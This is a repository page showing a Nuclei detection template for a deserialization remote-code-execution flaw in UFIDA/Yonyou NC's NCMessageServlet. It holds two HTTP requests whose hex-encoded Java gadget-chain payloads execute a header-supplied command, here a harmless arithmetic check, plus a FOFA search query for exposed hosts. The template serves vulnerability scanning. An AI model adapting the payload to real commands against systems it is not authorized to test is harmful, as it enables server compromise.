daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/vulnerabilities/yonyou/yonyou-nc-ncmessageservlet-...

44 lines
22 KiB
YAML
Raw Normal View History

Added some Templates
2023-08-18 03:22:06 +00:00
id: yonyou-nc-ncmessageservlet-rce
info:
updated-templates-p
2023-09-17 08:51:38 +00:00
name: UFIDA NC NCMessageServlet - Deserialization RCE Detection
Added some Templates
2023-08-18 03:22:06 +00:00
author: SleepingBag945
severity: critical
Templates - update
2023-09-15 12:23:57 +00:00
description: |
UFIDA NC is in the process of processing client request data. Insufficient checking and filtering when deserializing user-supplied data can lead to malicious deserialization operations and execution of commands on the operating system. After analysis, security researchers found that the system has many exploit points for deserialization. Currently, the official vulnerability fix plan is to perform deserialization whitelist control on known exploit points and repair some exploit chain dependencies. The possibility of similar problems occurring in the system in the future is still high.
reference:
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/yonyou-nc-ncmessageservlet-rce.yaml
metadata:
templateman update
2023-10-14 11:27:55 +00:00
verified: true
Templates - update
2023-09-15 12:23:57 +00:00
max-request: 2
fofa-query: app="用友-UFIDA-NC
templateman update
2023-10-14 11:27:55 +00:00
tags: yonyou,rce,deserialization
Added some Templates
2023-08-18 03:22:06 +00:00
http:
- raw:
- |
POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data;
X-T0KEN-INF0: set /A 987843129+808922377
Accept-Encoding: gzip, deflate
Templates - update
2023-09-15 12:23:57 +00:00
Added some Templates
2023-08-18 03:22:06 +00:00
{{hex_decode('ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707400007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000027372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E0003787076720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C746572000000000000000000000078707372003E6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C020000787000000001737200296F72672E6170616368652E78616C616E2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000749000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465784C000B5F617578436C617373657374002A4C6F72672F6170616368652F78616C616E2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00154C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF70757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000EF1CAFEBABE0000003200E30A0003000F0700DE0700120100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B01000A536F7572636546696C6501000C476164676574732E6A6176610C0004000507001301003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61640100106A6176612F6C616E672F4F626A65637401001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100106A6176612F6C616E672F54687265616407001501000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B0C001700180A0016001901000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B0C001B001C0A0016001D010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0C001F00200A000300210100077468726561647308002301000F6A6176612F6C616E672F436C6173730700250100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0C002700280A002600290100226A6176612F6C616E672F7265666C6563742F41636365737369626C654F626A65637407002B01000D73657441636365737369626C65010004285A29560C002D002E0A002C002F0100176A6176612F6C616E672F7265666C6563742F4669656C64070031010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C003300340A003200350100135B4C6A6176612F6C616E672F5468726561643B0700370100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B0C0039003A0A0016003B0100046578656
- |
POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Type: multipart/form-data;
X-T0KEN-INF0: expr 987843129+808922376
Accept-Encoding: gzip, deflate
Templates - update
2023-09-15 12:23:57 +00:00
{{hex_decode('ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707400007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000027372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E0003787076720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C746572000000000000000000000078707372003E6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C020000787000000001737200296F72672E6170616368652E78616C616E2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000749000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465784C000B5F617578436C617373657374002A4C6F72672F6170616368652F78616C616E2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00154C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF70757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000EF1CAFEBABE0000003200E30A0003000F0700DE0700120100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B01000A536F7572636546696C6501000C476164676574732E6A6176610C0004000507001301003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61640100106A6176612F6C616E672F4F626A65637401001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100106A6176612F6C616E672F54687265616407001501000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B0C001700180A0016001901000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B0C001B001C0A0016001D010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0C001F00200A000300210100077468726561647308002301000F6A6176612F6C616E672F436C6173730700250100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0C002700280A002600290100226A6176612F6C616E672F7265666C6563742F41636365737369626C654F626A65637407002B01000D73657441636365737369626C65010004285A29560C002D002E0A002C002F0100176A6176612F6C616E672F7265666C6563742F4669656C64070031010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C003300340A003200350100135B4C6A6176612F6C616E672F5468726561643B0700370100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B0C0039003A0A0016003B0100046578656
Added some Templates
2023-08-18 03:22:06 +00:00
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200 && contains(header_1,"X-T0ken") && contains(header_1,"MTc5Njc2NTUwNg==")'
- 'status_code_2 == 200 && contains(header_2,"X-T0ken") && contains(header_2,"MTc5Njc2NTUwNQ==")'
templateman update
2023-10-14 11:27:55 +00:00
condition: or
Auto Template Signing [Thu Oct 19 13:13:50 UTC 2023] :robot:
2023-10-19 13:13:52 +00:00
# digest: 490a00463044022030de43a15056ab8c85ca3db1438ad602e9f55af19ce951b485c8b1a1400336ac02204d9b2f9df87c66b8851194b0008a4d307d7d5ca3c818274d9f75c69398651fc8:922c64590222798bb761d5b6d8e72950